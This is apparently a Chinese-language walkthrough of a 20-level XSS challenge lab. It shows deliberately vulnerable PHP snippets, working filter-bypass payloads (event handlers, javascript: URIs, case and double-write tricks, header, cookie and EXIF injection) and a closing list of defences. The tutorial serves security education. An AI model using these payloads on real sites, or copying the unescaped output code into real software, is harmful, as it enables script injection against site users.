xss挑战之旅
字数 1954 2025-08-24 16:48:07
XSS挑战之旅 - 全面教学文档
1. XSS基础概念
XSS (Cross-Site Scripting) 跨站脚本攻击是一种将恶意脚本注入到网页中的安全漏洞。攻击者通过在网页中插入恶意脚本,当其他用户访问该页面时,脚本会在用户浏览器中执行。
2. XSS挑战关卡详解
Level 1: 无过滤基础XSS
关键代码:
ini_set("display_errors", 0);
$str = $_GET["name"];
echo "<h2 align=center>欢迎用户".$str."</h2>";
分析:
- 直接输出用户输入,没有任何过滤
- 最简单的XSS注入点
Payload示例:
<script>alert('xss')</script>
<svg/onload=alert('xss')>
<script>prompt('xss')</script>
<script>confirm('xss')</script>
Level 2: HTML实体编码绕过
关键代码:
$str = $_GET["keyword"];
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
."<center><form action=level2.php method=GET>
<input name=keyword value='".htmlspecialchars($str)."'>
<input type=submit name=submit value=搜索 />
分析:
- 使用
htmlspecialchars()函数转换特殊字符 - 注入点在input标签的value属性中
- 需要闭合标签才能执行脚本
Payload示例:
" onmouseover=alert(/xss/)>click
"><script>alert(/xss/)</script>
" onchange=alert`document.domain`
" oninput=alert`document.domain`
" onfocus=alert(document.domain) autofocus;
Level 3: 尖括号过滤绕过
关键代码:
$str = $_GET["keyword"];
$str2=str_replace("<", "", $str);
$str3=str_replace(">", "", $str2);
echo "<h2 align=center>没有找到和".htmlspecialchars($str)."相关的结果.</h2>"
.'<center><form action=level3.php method=GET>
<input name=keyword value="'.$str3.'">
<input type=submit name=submit value=搜索 />
分析:
- 过滤了
<和>符号 - 使用
str_replace函数,区分大小写 - 需要利用事件处理器绕过
Payload示例:
' onclick=alert(/xss/)//
' onmouseover=alert('xss')//
' oninput=alert`xss` //
' onchange=alert`xss` //
Level 4: 多重过滤绕过
关键代码:
- 过滤了
<和>符号 - 使用
htmlspecialchars()函数 - 需要在不使用尖括号的情况下构造XSS
Payload示例:
" onfocus=alert(xss) autofocus=
" onmouseover=alert('xss')
" oninput=alert`xss`
" onchange=alert`xss`//
Level 5: 标签和事件过滤绕过
关键代码分析:
- 将
<script转换为<scr_ipt - 将
on转换为o_n - 使用
strtolower()使大小写绕过失效 - 未过滤尖括号,可使用a标签
Payload示例:
"><iframe src=javascript:alert(/xss/)>
"><a href="javascript:%61lert(5)">click me !!!</a>
"><a href="javascript:alert(/xss/)"
Level 6: 大小写绕过
关键代码分析:
- 使用
str_replace函数过滤 - 没有大小写限制
- 可通过大小写变换绕过
Payload示例:
"> <SCRIpt>alert(/xss/)</SCriPT>
">
"> <a HrEf="javascript:alert(/xss/)">click me!!!</a>
" ONclick=alert(/xss/) //
"><svg x="" ONclick=alert(/xss/)>
Level 7: 双写绕过
关键代码分析:
- 过滤
script,on,src,data,href - 大小写绕过失效
- 可使用双写绕过
Payload示例:
" oonnclick=alert(/xss/)//
" oonnmouseover=alert(/xss/)//
" oonninput=alert(/xss/) "
Level 8: 伪协议绕过
关键代码分析:
- 过滤多种关键词并转换
- 双引号被编码
- 输出点在a标签的href属性中
- 可使用javascript伪协议
Payload示例:
javascript:%61lert(/XSS/)
javascript:%61lert`/xss/`
javascript:alert`/xss/`
Level 9: URL检测绕过
关键代码分析:
- 类似Level 8的过滤
- 增加了自动检测URL,需要包含
http:// - 可通过注释和换行绕过
Payload示例:
javascript:alert(1)//http://
javascript:%0dhttp://%0dalert(/xss/)
Level 10: 隐藏输入框利用
关键代码分析:
- 需要两个参数:
keyword和t_sort - 尖括号被过滤
- 有隐藏输入框可利用
Payload示例:
keyword=test&t_sort=" type="text" onclick="alert(/xss/)
keyword=test&t_sort=" type="text" onmouseover="alert(/xss/)
Level 11: HTTP Referer头部注入
关键代码分析:
- 从
HTTP_REFERER获取输入 - 需要修改HTTP头部
Payload示例:
Referer: " onmouseover=alert(/xss/) type="text"
Referer: " onclick="alert(/xss/)" type="text
Level 12: User-Agent头部注入
关键代码分析:
- 从
HTTP_USER_AGENT获取输入 - 需要修改HTTP头部
Payload示例:
User-Agent: " onmouseover=alert(/xss/) type="text"
User-Agent: " onclick="alert(/xss/)" type="text"
Level 13: Cookie注入
关键代码分析:
- 从cookie获取输入
- 需要修改cookie值
Payload示例:
Cookie: user=call+me+maybe%3F" type="text" onmouseover=alert(/xss/) type="text"
Cookie: user=call+me+maybe%3F" type="text" onclick="alert(/xss/)
Level 14: EXIF XSS
关键代码分析:
- 通过图片EXIF元数据注入
- 使用工具修改图片元数据
Payload示例:
exiftool -Artist=' ">' brute.jpeg
Level 15: AngularJS ng-include利用
关键代码分析:
- 使用AngularJS的
ng-include指令 - 可包含其他页面并传递参数
Payload示例:
/level15.php?src='level1.php?name=test'
Level 16: 换行符绕过
关键代码分析:
- 大小写绕过失效
- 过滤了
script,/等字符 - 可使用
%0a,%0d换行绕过
Payload示例:
<iframe%0dsrc=0%0donmouseover=alert`/xss/`></iframe>
<svg%0aonload=alert`/xss/`></svg>
Level 17-18: 事件处理器注入
Payload示例:
arg01=a&arg02=%20onmouseover=alert`1`
Level 19: Flash XSS
关键代码分析:
- 需要分析Flash源码
- 利用
getURL函数和contentIsLink函数
Payload示例:
arg01=version&arg02=<a href="javascript:alert(1)">xss</a>
Level 20: ZeroClipboard XSS
Payload示例:
arg01=id&arg02=\%22))}catch(e){}if(!self.a)self.a=!alert(1)//%26width%26height
3. XSS防御方法
-
输入验证:
- 对用户输入进行严格验证
- 使用白名单而非黑名单
-
输出编码:
- 使用
htmlspecialchars()等函数 - 根据上下文使用适当的编码
- 使用
-
内容安全策略(CSP):
- 限制脚本来源
- 防止内联脚本执行
-
HTTP头部安全:
- 设置
X-XSS-Protection - 使用
HttpOnly标志的cookie
- 设置
-
框架安全:
- 使用现代框架的安全特性
- 避免直接DOM操作
4. 总结
本教学文档详细分析了20个XSS挑战关卡,展示了各种XSS攻击技术和绕过方法。理解这些技术有助于开发者更好地防御XSS攻击。在实际开发中,应综合运用多种防御措施,确保Web应用的安全性。